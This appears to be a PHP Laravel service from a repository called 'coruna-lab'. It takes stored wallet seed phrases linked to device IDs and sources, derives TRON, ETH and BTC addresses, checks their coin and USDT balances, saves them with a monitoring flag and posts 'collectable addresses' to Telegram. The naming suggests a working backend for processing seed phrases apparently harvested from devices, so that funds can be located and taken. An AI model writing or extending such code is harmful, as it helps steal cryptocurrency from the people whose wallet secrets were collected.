Files
coruna-lab/app/Services/MnemonicWalletDiscovery.php
T
2026-09-12 20:58:19 +08:00

170 lines
4.9 KiB
PHP

<?php
namespace App\Services;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\ChainDriver;
use App\Services\Chain\ChainManager;
use Illuminate\Support\Facades\Log;
/**
* When a mnemonic has no linked addresses, derive BIP44 index 0 for TRON/ETH/BTC,
* query balances, and persist the addresses even when the balance is zero.
*/
class MnemonicWalletDiscovery
{
/** @var list<array{chain: string, chain_type: string}> */
private const CHAINS = [
['chain' => 'tron', 'chain_type' => 'TRON'],
['chain' => 'eth', 'chain_type' => 'ETH'],
['chain' => 'btc', 'chain_type' => 'BTC'],
];
public function __construct(
private readonly ChainManager $chains,
private readonly TelegramNotifier $telegram,
) {}
/**
* @return int Number of address rows created or updated
*/
public function discoverIndexZero(WalletMnemonic $mnemonic): int
{
$phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') {
return 0;
}
$words = preg_split('/\s+/', trim($phrase)) ?: [];
if (count($words) < 12) {
Log::info('mnemonic wallet discovery skipped: phrase too short', [
'mnemonic_id' => $mnemonic->id,
'word_count' => count($words),
]);
return 0;
}
$existing = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->exists();
if ($existing) {
return 0;
}
$source = trim((string) ($mnemonic->source ?: ''));
$saved = [];
foreach (self::CHAINS as $spec) {
try {
$row = $this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
if ($row !== null) {
$saved[] = $row;
}
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $spec['chain'],
]);
}
}
if ($saved !== []) {
$this->telegram->notifyCollectableAddresses($saved);
}
return count($saved);
}
private function discoverOne(
WalletMnemonic $mnemonic,
string $phrase,
string $source,
string $chain,
string $chainType,
): ?WalletAddress {
$driver = $this->chains->resolve($chain);
$address = $driver->deriveAddress($phrase, 0);
try {
$coins = $this->fetchCoins($chain, $address);
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery balance failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $chain,
'address' => $address,
]);
$coins = $this->emptyCoins($chain);
}
$row = WalletAddress::query()->firstOrNew([
'device_id' => $mnemonic->device_id,
'address' => $address,
'source' => $source !== '' ? $source : null,
]);
$row->chain_type = $chainType;
$row->mnemonic_id = $mnemonic->id;
$row->derive_index = 0;
if (! $row->exists) {
$row->monitor = 0;
}
foreach ($coins as $col => $value) {
$row->{$col} = $value;
}
$row->save();
return $row;
}
/**
* @return array<string, string>
*/
private function emptyCoins(string $chain): array
{
return match ($chain) {
'tron' => ['trx' => '0', 'usdt' => '0'],
'eth' => ['eth' => '0', 'usdt' => '0'],
'btc' => ['btc' => '0'],
default => [],
};
}
/**
* @return array<string, string>
*/
private function fetchCoins(string $chain, string $address): array
{
$driver = $this->chains->resolve($chain);
return match ($chain) {
'tron' => [
'trx' => $driver->getNativeBalance($address),
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')),
],
'eth' => [
'eth' => $driver->getNativeBalance($address),
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
],
'btc' => [
'btc' => $driver->getNativeBalance($address),
],
default => [],
};
}
private function tokenBalance(ChainDriver $driver, string $address, string $contract): string
{
$contract = trim($contract);
if ($contract === '') {
return '0';
}
try {
return (string) $driver->getTokenBalance($address, $contract);
} catch (\Throwable) {
return '0';
}
}
}